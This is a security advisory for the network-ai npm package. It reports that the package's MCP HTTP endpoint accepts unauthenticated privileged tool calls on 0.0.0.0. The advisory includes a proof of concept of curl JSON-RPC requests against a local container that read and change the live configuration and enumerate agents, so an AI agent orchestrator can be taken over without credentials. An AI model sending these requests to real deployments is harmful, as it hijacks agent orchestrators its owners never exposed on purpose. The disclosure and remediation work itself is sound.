GHSA-fj4g-2p96-q6m3 Network-AI missing authentication on MCP HTTP endpoint, which allows unauthenticated privileged tool calls

• npm network-ai: < 5.1.3 → fixed in 5.1.3

Security Advisory: Missing Authentication for Critical Function in `Jovancoding/Network-AI` | Field | Value | |---|---| | Project | `Jovancoding/Network-AI` | | Repository | https://github.com/Jovancoding/Network-AI | | Affected commit | `c344f2053eb0d49395988f803bf92f2a86b2a0d0` | | Affected tested version | `5.1.2` | | Vulnerability type | CWE-306: Missing Authentication for Critical Function | | Severity | High | | Authentication required | None | | Default network exposure | Bind address `0.0.0.0` | | Reporter validation date | 2026-04-21 | Summary The MCP HTTP transport accepts JSON-RPC `tools/call` requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is `0.0.0.0`. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools — including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings. Affected Code • `bin/mcp-server.ts:75` — server binds to `0.0.0.0` by default. • `lib/mcp-transport-sse.ts:155` — `handleRPC()` dispatches `tools/call` directly to the provider's `call(toolName, toolArgs)`. • `lib/mcp-transport-sse.ts:379` — `_handlePost()` parses the JSON-RPC body and calls `this._bridge.handleRPC(rpc)` with no auth check. • `lib/mcp-tools-control.ts:80` — `config_get` exposes live runtime configuration. • `lib/mcp-tools-control.ts:197` — `agent_list` exposes registered agents. • `lib/mcp-tools-control.ts:231` — `config_set` mutates runtime configuration in place: `this._config[key] = parsed`. Proof of Concept The PoC was executed against a local Docker build of the affected commit, bound to `http://localhost:13001`. No authentication header was sent. All inner-JSON excerpts below are decoded from the JSON-RPC `result.content[0].text` field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in `evidence/`. Step 1 — list exposed tools (unauthenticated) ```bash curl http://localhost:13001/tools ``` `HTTP/1.1 200 OK` — body returned 22 tools. Privileged tools observed in the inventory include: • `config_get`, `config_set` — read and mutate live orchestrator configuration • `agent_list`, `agent_spawn`, `agent_stop` — enumerate, dispatch, and stop agents • `token_create`, `token_revoke` — mint and revoke security tokens • `budget_set_ceiling` — adjust the global token budget ceiling • `fsm_transition` — drive finite-state-machine transitions • `blackboard_write`, `blackboard_delete` — mutate the shared blackboard Full transcript: `evidence/01_get_tools.txt`. Step 2 — read live configuration (unauthenticated) ```bash curl http://localhost:13001/mcp \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"config_get","arguments":{}}}' ``` `HTTP/1.1 200 OK` — decoded inner JSON: ```json { "ok": true, "tool": "config_get", "data": { "blackboardPath": "./swarm-blackboard.md", "maxParallelAgents": null, "defaultTimeout": 30000, "enableTracing": true, "grantTokenTTL": 300000, "maxBlackboardValueSize": 1048576, "auditLogPath": "./data/audit_log.jsonl", "trustConfigPath": "./data/trust_levels.json" } } ``` Full transcript: `evidence/02_config_get_before.txt`. Step 3 — mutate live configuration (unauthenticated) ```bash curl http://localhost:13001/mcp \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"config_set","arguments":{"key":"defaultTimeout","value":"12345"}}}' ``` `HTTP/1.1 200 OK` — decoded inner JSON: ```json { "ok": true, "tool": "config_set", "data": { "key": "defaultTimeout", "previous": 30000, "current": 12345, "applied": true } } ``` Full transcript: `evidence/03_config_set.txt`. Step 4 — confirm mutation persisted (unauthenticated) ```bash curl http://localhost:13001/mcp \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"config_get","arguments":{}}}' ``` `HTTP/1.1 200 OK` — decoded inner JSON (relevant key only): ```json { "ok": true, "tool": "config_get", "data": { "defaultTimeout": 12345 } } ``` This proves the runtime change applied by step 3 is observable on the next read. Full transcript: `evidence/04_config_get_after.txt`. Step 5 — enumerate registered agents (unauthenticated) ```bash curl http://localhost:13001/mcp \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"agent_list","arguments":{}}}' ``` `HTTP/1.1 200 OK` — decoded inner JSON: ```json { "ok": true, "tool": "agent_list", "data": { "agents": [], "count": 0 } } ``` This is a privileged management read; the empty array reflects the test environment, not a control. Full transcript: `evidence/05_agent_list.txt`. Cleanup — runtime state restored After the PoC, `defaultTimeout` was restored to `30000` via the same unauthenticated `config_set` (`previous":12345,"current":30000,"applied":true`). All testing was performed against a local Docker container only. Impact • Unauthenticated network access enables full enumeration and invocation of the orchestrator's management functionality. • An attacker can change runtime configuration (e.g., `defaultTimeout`, `enableTracing`), dispatch or stop agents, mutate the shared blackboard, mint or revoke security tokens, and adjust global budget ceilings. • The default `0.0.0.0` bind, combined with the absence of any auth gate, increases the likelihood of accidental exposure on any host with a routable interface. Suggested Remediation 1. Enforce authentication inside `_handlePost()` before reaching `handleRPC()`. At a minimum, require a shared secret / bearer token loaded from configuration; reject any request that does not present it. 2. Default the bind address to `127.0.0.1`. Require an explicit configuration opt-in to bind to non-loopback interfaces, and warn on startup when binding outside loopback without an authentication mechanism configured. 3. For tool-level defense in depth, gate state-mutating tools (`config_set`, `agent_spawn`, `agent_stop`, `token_create`, `token_revoke`, `budget_set_ceiling`, `fsm_transition`, `blackboard_write`, `blackboard_delete`) behind an explicit authorization check tied to a verified caller identity. Verification Environment • Local Docker container only; no third-party deployment was tested. • Local build required a minimal Dockerfile fix; the application code path under test was not modified. • Runtime state (`defaultTimeout`) was restored to default after the PoC. Attached Evidence Files in `evidence/` are raw `curl -i` transcripts captured during the verification sequence above. They are provided as supplementary backup; the key excerpts are already inlined in this report. | File | Purpose | |---|---| |01_get_tools.txt | Step 1 — full `GET /tools` request and 22-tool inventory response | |02_config_get_before.txt | Step 2 — full `config_get` request and live configuration response | |03_config_set.txt | Step 3 — full `config_set` request mutating `defaultTimeout` | |04_config_get_after.txt| Step 4 — full `config_get` request showing the mutation persisted | | 05_agent_list.txt | Step 5 — full `agent_list` request and response |